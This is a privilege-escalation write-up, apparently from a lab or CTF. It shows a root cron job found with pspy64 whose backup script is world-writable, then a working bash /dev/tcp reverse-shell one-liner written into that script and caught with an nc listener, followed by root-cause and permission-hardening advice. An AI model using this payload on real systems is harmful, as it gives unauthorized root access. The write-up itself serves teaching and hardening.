← Back to all writeups

World-Writable Cron Script — Reverse Shell as Root

A cron job running as root pointed at a shell script with excessive write permissions. Overwriting it with a reverse shell payload and waiting was all it took.

cronmisconfigurationlinuxprivilege-escalation

Cron jobs running as root are one of the most consistently productive things to hunt for during Linux privilege escalation — not because cron itself is insecure, but because whatever script it invokes inherits root’s privileges unconditionally. If that script is writable by anyone else, the job’s schedule becomes a countdown timer to root.


The Setup

I had a low-privilege shell and no sudo rights worth exploiting directly. Rather than guess at what might be running in the background, I reached for pspy64 — a tool that snoops on process execution without needing root, by polling /proc for new processes as they spawn.

Running it and waiting turned up something immediately useful:

pspy64 output showing CRON spawning /bin/sh /var/backups/etc_Backup.sh as UID=0

CMD: UID=0    PID=46162   | /usr/sbin/CRON -f -P
CMD: UID=0    PID=46164   | /bin/sh /var/backups/etc_Backup.sh

A cron job, running as UID 0, executing a shell script at /var/backups/etc_Backup.sh. That path — /var/backups/ — reads like a routine housekeeping job someone set up once and forgot about, exactly the kind of script that never gets a second look at its permissions.


Enumeration — Checking What I Could Touch

With the script’s path in hand, the next step was straightforward: check its permissions.

ls -la /var/backups/etc_Backup.sh

The file had excessive permissions — writable well beyond what it needed to be, effectively open to modification by my low-privilege user. Root was going to execute this file again, on schedule, without ever checking whether its contents had changed since the last run.


Exploitation

I overwrote the script with a reverse shell one-liner:

echo 'bash -c "bash -i >& /dev/tcp/192.168.45.230/80 0>&1"' > /var/backups/etc_Backup.sh

Then set up a listener and waited for cron to fire the job on its next scheduled run:

nc -lvnp 80

When the cron daemon executed /var/backups/etc_Backup.sh again, it ran my replaced content instead of whatever the script originally did — as root, because that’s the UID the cron job was configured to run under. A reverse shell connected back to my listener moments later, and id confirmed full root access.


Why This Works

Cron doesn’t validate the contents of the scripts it invokes — it just executes the path it was configured with, at the scheduled time, under the configured user. There’s no integrity check, no hash comparison, nothing to detect that the file has been swapped out since the crontab entry was written. It trusts the filesystem completely.

That trust is fine as long as file permissions enforce who can write to the script. The moment those permissions are loosened — whether by a careless chmod 777 during debugging, a misconfigured deployment step, or a backup script generator that never set restrictive permissions in the first place — the schedule that makes cron useful also makes it dangerous. You don’t even need to trigger the job yourself; you just wait for root to do it for you.

pspy64 is what makes finding these jobs practical without root access. Reading /etc/cron.d/ or crontab -l directly usually requires privileges a low-priv user doesn’t have, but process creation is visible system-wide through /proc, which pspy polls continuously — surfacing exactly which scripts root is executing and when, without needing to read the cron configuration itself.


Root Cause

/var/backups/etc_Backup.sh was left with write permissions far broader than required, most likely because whoever created or last edited it never revisited the permissions after testing, or a deployment process set them incorrectly by default.

Fix: Lock down permissions on every script invoked by a root-owned cron job:

chown root:root /var/backups/etc_Backup.sh
chmod 700 /var/backups/etc_Backup.sh

And periodically audit /etc/crontab, /etc/cron.d/, and per-user crontabs for scripts writable by anyone other than the user the job runs as.


Key Takeaways

  • Use pspy64 (or similar tools) to observe process execution in real time when you can’t read cron configuration directly — it reveals scheduled root jobs without needing elevated permissions
  • Any script referenced by a root cron job is a privilege escalation vector the moment its write permissions extend beyond root
  • Cron trusts the filesystem, not the content — there’s no validation preventing a swapped-out script from running with the job’s original privileges
  • Escalation via cron requires patience: identify the writable script, overwrite it, then wait for the schedule to do the rest

Questions? Hit me up on X.